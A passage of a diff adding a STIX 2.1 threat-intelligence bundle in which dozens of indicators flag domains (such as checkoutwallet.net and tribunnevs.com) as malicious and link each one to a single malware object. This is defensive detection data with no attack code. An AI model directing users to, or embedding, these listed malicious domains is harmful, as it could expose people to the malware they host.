"indicator", + "spec_version": "2.1", + "id": "indicator--20587a69-11af-446e-85ce-a2e6cfb0fb17", + "created": "2023-03-29T12:58:43.598987Z", + "modified": "2023-03-29T12:58:43.598987Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='selfmoonshine.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.598987Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0fcf336d-3713-4788-b361-73d3c3b3be62", + "created": "2023-03-29T12:58:43.599596Z", + "modified": "2023-03-29T12:58:43.599596Z", + "relationship_type": "indicates", + "source_ref": "indicator--20587a69-11af-446e-85ce-a2e6cfb0fb17", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cd47a1f5-2240-4867-b56f-a3c7a98d16ca", + "created": "2023-03-29T12:58:43.599785Z", + "modified": "2023-03-29T12:58:43.599785Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='checkoutwallet.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.599785Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e1fc44ac-6061-4472-887b-7deff1aab110", + "created": "2023-03-29T12:58:43.60039Z", + "modified": "2023-03-29T12:58:43.60039Z", + "relationship_type": "indicates", + "source_ref": "indicator--cd47a1f5-2240-4867-b56f-a3c7a98d16ca", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fa93902d-82fc-4349-abf6-ee5f9aa293ef", + "created": "2023-03-29T12:58:43.600567Z", + "modified": "2023-03-29T12:58:43.600567Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stateonboard.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.600567Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8d99cfdf-e999-4dc0-9861-9e627c4ed0ef", + "created": "2023-03-29T12:58:43.601173Z", + "modified": "2023-03-29T12:58:43.601173Z", + "relationship_type": "indicates", + "source_ref": "indicator--fa93902d-82fc-4349-abf6-ee5f9aa293ef", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3ee1eae5-60fb-4c5f-9517-8e7e7aa16a04", + "created": "2023-03-29T12:58:43.601345Z", + "modified": "2023-03-29T12:58:43.601345Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bootlacewidget.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.601345Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4c03f64d-dfcc-4e55-b3e8-ad729c2b87b1", + "created": "2023-03-29T12:58:43.601956Z", + "modified": "2023-03-29T12:58:43.601956Z", + "relationship_type": "indicates", + "source_ref": "indicator--3ee1eae5-60fb-4c5f-9517-8e7e7aa16a04", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--edf1fd53-98e7-44ef-84e5-ce2f40480bd2", + "created": "2023-03-29T12:58:43.602128Z", + "modified": "2023-03-29T12:58:43.602128Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unstoppedguy.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.602128Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--74a7545c-a7c1-424d-a018-7b374cbc771a", + "created": "2023-03-29T12:58:43.602735Z", + "modified": "2023-03-29T12:58:43.602735Z", + "relationship_type": "indicates", + "source_ref": "indicator--edf1fd53-98e7-44ef-84e5-ce2f40480bd2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9d8a99f2-fa84-45d0-a68a-7ece2a22fd99", + "created": "2023-03-29T12:58:43.602909Z", + "modified": "2023-03-29T12:58:43.602909Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ddetik.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.602909Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--07be8f60-a512-4270-8438-0915dce62878", + "created": "2023-03-29T12:58:43.603501Z", + "modified": "2023-03-29T12:58:43.603501Z", + "relationship_type": "indicates", + "source_ref": "indicator--9d8a99f2-fa84-45d0-a68a-7ece2a22fd99", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1328851f-c5d1-4c5e-bb09-1e5250235d1b", + "created": "2023-03-29T12:58:43.603672Z", + "modified": "2023-03-29T12:58:43.603672Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='inkedcubes.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.603672Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--056165fc-f0e3-4c90-a74c-3b53313bdaba", + "created": "2023-03-29T12:58:43.604275Z", + "modified": "2023-03-29T12:58:43.604275Z", + "relationship_type": "indicates", + "source_ref": "indicator--1328851f-c5d1-4c5e-bb09-1e5250235d1b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3d7b8971-b11f-45c4-84cd-eb8738c48fd7", + "created": "2023-03-29T12:58:43.604447Z", + "modified": "2023-03-29T12:58:43.604447Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='chiverelative.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.604447Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d6af4559-7144-44d4-9e31-097068e26fc9", + "created": "2023-03-29T12:58:43.605169Z", + "modified": "2023-03-29T12:58:43.605169Z", + "relationship_type": "indicates", + "source_ref": "indicator--3d7b8971-b11f-45c4-84cd-eb8738c48fd7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a8b21b8f-e337-4590-bded-3730c81bce93", + "created": "2023-03-29T12:58:43.605348Z", + "modified": "2023-03-29T12:58:43.605348Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='retinalbalance.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.605348Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--50038a83-8420-43a9-8be3-146de56bc3a5", + "created": "2023-03-29T12:58:43.605962Z", + "modified": "2023-03-29T12:58:43.605962Z", + "relationship_type": "indicates", + "source_ref": "indicator--a8b21b8f-e337-4590-bded-3730c81bce93", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--857f780c-6eb7-4f35-9fcd-eeb992058b51", + "created": "2023-03-29T12:58:43.606135Z", + "modified": "2023-03-29T12:58:43.606135Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bundlegrader.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.606135Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ef0bd90f-3a7d-4860-a920-31fb82fc552b", + "created": "2023-03-29T12:58:43.606734Z", + "modified": "2023-03-29T12:58:43.606734Z", + "relationship_type": "indicates", + "source_ref": "indicator--857f780c-6eb7-4f35-9fcd-eeb992058b51", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6af569a3-cfda-498e-bc40-9b871d48c21b", + "created": "2023-03-29T12:58:43.606905Z", + "modified": "2023-03-29T12:58:43.606905Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='flagshiphazy.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.606905Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e784dc3d-477d-4e09-821c-44ea909e7eff", + "created": "2023-03-29T12:58:43.607506Z", + "modified": "2023-03-29T12:58:43.607506Z", + "relationship_type": "indicates", + "source_ref": "indicator--6af569a3-cfda-498e-bc40-9b871d48c21b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a0cdc55d-48aa-4143-aaaa-0d41769ae370", + "created": "2023-03-29T12:58:43.607676Z", + "modified": "2023-03-29T12:58:43.607676Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='seducecause.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.607676Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--912adf48-0cd1-482e-9e7e-cb87f601652d", + "created": "2023-03-29T12:58:43.60832Z", + "modified": "2023-03-29T12:58:43.60832Z", + "relationship_type": "indicates", + "source_ref": "indicator--a0cdc55d-48aa-4143-aaaa-0d41769ae370", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5d77318c-5553-40f5-be54-31bdc1687147", + "created": "2023-03-29T12:58:43.608499Z", + "modified": "2023-03-29T12:58:43.608499Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='angelicabags.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.608499Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6695e149-7b66-421b-bb4a-5a65d61ec70d", + "created": "2023-03-29T12:58:43.609122Z", + "modified": "2023-03-29T12:58:43.609122Z", + "relationship_type": "indicates", + "source_ref": "indicator--5d77318c-5553-40f5-be54-31bdc1687147", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--03828ec6-9051-49a2-8002-a13f5273c447", + "created": "2023-03-29T12:58:43.609298Z", + "modified": "2023-03-29T12:58:43.609298Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='subletmonthly.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.609298Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--09c40a24-fb3d-4c63-9b04-d1c1bfa987fc", + "created": "2023-03-29T12:58:43.609937Z", + "modified": "2023-03-29T12:58:43.609937Z", + "relationship_type": "indicates", + "source_ref": "indicator--03828ec6-9051-49a2-8002-a13f5273c447", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3d699df6-4253-413d-8063-98287feb464e", + "created": "2023-03-29T12:58:43.610131Z", + "modified": "2023-03-29T12:58:43.610131Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='suitableunifier.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.610131Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8b81ca5f-0a35-481b-8517-387ac849fb6a", + "created": "2023-03-29T12:58:43.610742Z", + "modified": "2023-03-29T12:58:43.610742Z", + "relationship_type": "indicates", + "source_ref": "indicator--3d699df6-4253-413d-8063-98287feb464e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--42df8536-a95d-4497-895d-bfd1132e3680", + "created": "2023-03-29T12:58:43.61093Z", + "modified": "2023-03-29T12:58:43.61093Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mandarinjunkman.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.61093Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b55b6120-aa25-490e-bec2-e15ea68fbf61", + "created": "2023-03-29T12:58:43.611544Z", + "modified": "2023-03-29T12:58:43.611544Z", + "relationship_type": "indicates", + "source_ref": "indicator--42df8536-a95d-4497-895d-bfd1132e3680", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--47b7fc76-6c8e-4cec-8859-225cba4d11e6", + "created": "2023-03-29T12:58:43.611717Z", + "modified": "2023-03-29T12:58:43.611717Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='upgradediminish.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.611717Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e53e2013-4f24-488c-a59a-78d39dfd075d", + "created": "2023-03-29T12:58:43.612449Z", + "modified": "2023-03-29T12:58:43.612449Z", + "relationship_type": "indicates", + "source_ref": "indicator--47b7fc76-6c8e-4cec-8859-225cba4d11e6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e2a3a08f-5a19-4191-bf64-1511843396d4", + "created": "2023-03-29T12:58:43.612625Z", + "modified": "2023-03-29T12:58:43.612625Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='taketheway.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.612625Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8a3cbf94-156d-4b66-8e04-b75e0f6c30c6", + "created": "2023-03-29T12:58:43.613226Z", + "modified": "2023-03-29T12:58:43.613226Z", + "relationship_type": "indicates", + "source_ref": "indicator--e2a3a08f-5a19-4191-bf64-1511843396d4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--40268eb8-15c0-4e4e-95a8-24141ac89f71", + "created": "2023-03-29T12:58:43.613399Z", + "modified": "2023-03-29T12:58:43.613399Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='classicnames.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.613399Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6375bc5a-c822-4acf-800c-f31046bc198a", + "created": "2023-03-29T12:58:43.614015Z", + "modified": "2023-03-29T12:58:43.614015Z", + "relationship_type": "indicates", + "source_ref": "indicator--40268eb8-15c0-4e4e-95a8-24141ac89f71", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ff099140-2f7a-40a0-b5d4-5fdac7d337cd", + "created": "2023-03-29T12:58:43.614187Z", + "modified": "2023-03-29T12:58:43.614187Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jockstrapdecibel.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.614187Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c5f9da2e-9bfb-435b-8628-ee7e0093940e", + "created": "2023-03-29T12:58:43.614798Z", + "modified": "2023-03-29T12:58:43.614798Z", + "relationship_type": "indicates", + "source_ref": "indicator--ff099140-2f7a-40a0-b5d4-5fdac7d337cd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1e602a0d-05be-46b3-9d6d-c2a48c10e21d", + "created": "2023-03-29T12:58:43.614968Z", + "modified": "2023-03-29T12:58:43.614968Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='landscapepaddle.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.614968Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b508623a-9629-4f8e-9b79-f0025c935c58", + "created": "2023-03-29T12:58:43.615574Z", + "modified": "2023-03-29T12:58:43.615574Z", + "relationship_type": "indicates", + "source_ref": "indicator--1e602a0d-05be-46b3-9d6d-c2a48c10e21d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0396aaa8-f72c-42e5-8bfb-b9cfd6b50d47", + "created": "2023-03-29T12:58:43.615748Z", + "modified": "2023-03-29T12:58:43.615748Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ok-ezone.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.615748Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--31bc348c-203f-46b8-9c87-b1bf70392d80", + "created": "2023-03-29T12:58:43.61634Z", + "modified": "2023-03-29T12:58:43.61634Z", + "relationship_type": "indicates", + "source_ref": "indicator--0396aaa8-f72c-42e5-8bfb-b9cfd6b50d47", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9c74102a-1e77-4311-a713-21d13075f287", + "created": "2023-03-29T12:58:43.61651Z", + "modified": "2023-03-29T12:58:43.61651Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='thermaltruck.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.61651Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--366ebe90-cb2f-4a1c-88c2-72b48a298cdd", + "created": "2023-03-29T12:58:43.617115Z", + "modified": "2023-03-29T12:58:43.617115Z", + "relationship_type": "indicates", + "source_ref": "indicator--9c74102a-1e77-4311-a713-21d13075f287", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ec0ba5d1-5d60-4a4a-b239-d5e727383e19", + "created": "2023-03-29T12:58:43.617291Z", + "modified": "2023-03-29T12:58:43.617291Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rebateblaspheme.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.617291Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2a467f91-1da5-413c-b24f-4445f94cf7dc", + "created": "2023-03-29T12:58:43.617912Z", + "modified": "2023-03-29T12:58:43.617912Z", + "relationship_type": "indicates", + "source_ref": "indicator--ec0ba5d1-5d60-4a4a-b239-d5e727383e19", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a05a9829-313a-4d61-b93d-402c9c45ead5", + "created": "2023-03-29T12:58:43.618085Z", + "modified": "2023-03-29T12:58:43.618085Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='subornscodels.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.618085Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9a259454-9dd5-458a-b496-5e17474b76fb", + "created": "2023-03-29T12:58:43.618694Z", + "modified": "2023-03-29T12:58:43.618694Z", + "relationship_type": "indicates", + "source_ref": "indicator--a05a9829-313a-4d61-b93d-402c9c45ead5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--97286f4f-9e3a-4eaf-9911-01e4ce249367", + "created": "2023-03-29T12:58:43.618869Z", + "modified": "2023-03-29T12:58:43.618869Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tipperoverrate.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.618869Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e6688891-2371-43bb-8b2f-492161b287ee", + "created": "2023-03-29T12:58:43.619628Z", + "modified": "2023-03-29T12:58:43.619628Z", + "relationship_type": "indicates", + "source_ref": "indicator--97286f4f-9e3a-4eaf-9911-01e4ce249367", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1e260453-8c36-44aa-9dcb-eecb240317cb", + "created": "2023-03-29T12:58:43.619809Z", + "modified": "2023-03-29T12:58:43.619809Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sandytackiness.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.619809Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6824e2e3-a33d-4997-b3bc-7b7e014b8f01", + "created": "2023-03-29T12:58:43.620424Z", + "modified": "2023-03-29T12:58:43.620424Z", + "relationship_type": "indicates", + "source_ref": "indicator--1e260453-8c36-44aa-9dcb-eecb240317cb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b1c20e1f-9d8a-4f2a-b377-40cff539216b", + "created": "2023-03-29T12:58:43.620596Z", + "modified": "2023-03-29T12:58:43.620596Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tribunnevs.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.620596Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4fb1986c-d1de-4879-b685-9b6c59d38271", + "created": "2023-03-29T12:58:43.62121Z", + "modified": "2023-03-29T12:58:43.62121Z", + "relationship_type": "indicates", + "source_ref": "indicator--b1c20e1f-9d8a-4f2a-b377-40cff539216b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--17662952-b751-48b6-9b6c-690efd1e5a00", + "created": "2023-03-29T12:58:43.621384Z", + "modified": "2023-03-29T12:58:43.621384Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='aftermathafoot.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.621384Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c96eb7de-8a72-4944-b6de-f971505c8c84", + "created": "2023-03-29T12:58:43.621998Z", + "modified": "2023-03-29T12:58:43.621998Z", + "relationship_type": "indicates", + "source_ref": "indicator--17662952-b751-48b6-9b6c-690efd1e5a00", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2e89ca8b-2b20-474a-96b7-095ffbf4b6d2", + "created": "2023-03-29T12:58:43.62217Z", + "modified": "2023-03-29T12:58:43.62217Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='envelopeyard.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.62217Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5b87250b-3c3e-4999-a9ac-da9196f44cb4", + "created": "2023-03-29T12:58:43.622769Z", + "modified": "2023-03-29T12:58:43.622769Z", + "relationship_type": "indicates", + "source_ref": "indicator--2e89ca8b-2b20-474a-96b7-095ffbf4b6d2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1fd664bc-1c51-42f1-8a5f-f7bd92a3f76a", + "created": "2023-03-29T12:58:43.62294Z", + "modified": "2023-03-29T12:58:43.62294Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='civilwackiness.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.62294Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bfcb54e4-878b-48bd-ae6f-fdf7d6165ee3", + "created": "2023-03-29T12:58:43.623546Z", + "modified": "2023-03-29T12:58:43.623546Z", + "relationship_type": "indicates", + "source_ref": "indicator--1fd664bc-1c51-42f1-8a5f-f7bd92a3f76a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3a5ea11a-0ea6-4abc-8479-68bb836894d6", + "created": "2023-03-29T12:58:43.623721Z", + "modified": "2023-03-29T12:58:43.623721Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='staplingrenewable.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.623721Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bc01574a-34bd-45e3-a044-1fb89c0ff172", + "created": "2023-03-29T12:58:43.62433Z", + "modified": "2023-03-29T12:58:43.62433Z", + "relationship_type": "indicates", + "source_ref": "indicator--3a5ea11a-0ea6-4abc-8479-68bb836894d6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6d905f96-702b-42d0-99fc-58e23bea30bb", + "created": "2023-03-29T12:58:43.624539Z", + "modified": "2023-03-29T12:58:43.624539Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bulginessgrandson.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.624539Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--44e9a772-a954-420e-a813-cfae0b1d5478", + "created": "2023-03-29T12:58:43.625155Z", + "modified": "2023-03-29T12:58:43.625155Z", + "relationship_type": "indicates", + "source_ref": "indicator--6d905f96-702b-42d0-99fc-58e23bea30bb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--23cec685-c19f-4a92-b5ed-6863d3eee6ab", + "created": "2023-03-29T12:58:43.625328Z", + "modified": "2023-03-29T12:58:43.625328Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='encroachdelta.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.625328Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a09bd4d0-fd7f-4977-90c6-7db812e677b5", + "created": "2023-03-29T12:58:43.625944Z", + "modified": "2023-03-29T12:58:43.625944Z", + "relationship_type": "indicates", + "source_ref": "indicator--23cec685-c19f-4a92-b5ed-6863d3eee6ab", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--65adf1ac-da0c-401d-818e-955d67c6267a", + "created": "2023-03-29T12:58:43.626116Z", + "modified": "2023-03-29T12:58:43.626116Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='qlscoltivazione.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.626116Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--341a703c-8a6c-4f93-8e92-02eb058c4b90", + "created": "2023-03-29T12:58:43.626881Z", + "modified": "2023-03-29T12:58:43.626881Z", + "relationship_type": "indicates", + "source_ref": "indicator--65adf1ac-da0c-401d-818e-955d67c6267a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--89825017-d08c-4571-8511-681247036df3", + "created": "2023-03-29T12:58:43.627063Z", + "modified": "2023-03-29T12:58:43.627063Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='amicoaiuto.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.627063Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3be1e6f2-3327-459f-86e2-9af5af0294a8", + "created": "2023-03-29T12:58:43.627665Z", + "modified": "2023-03-29T12:58:43.627665Z", + "relationship_type": "indicates", + "source_ref": "indicator--89825017-d08c-4571-8511-681247036df3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5d47d334-a620-4a24-bc64-373a73f19579", + "created": "2023-03-29T12:58:43.627837Z", + "modified": "2023-03-29T12:58:43.627837Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stinkinggrandma.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.627837Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0072ef8f-19b4-44f9-bf2d-ed4adcbb8f56", + "created": "2023-03-29T12:58:43.628443Z", + "modified": "2023-03-29T12:58:43.628443Z", + "relationship_type": "indicates", + "source_ref": "indicator--5d47d334-a620-4a24-bc64-373a73f19579", + "target_ref": 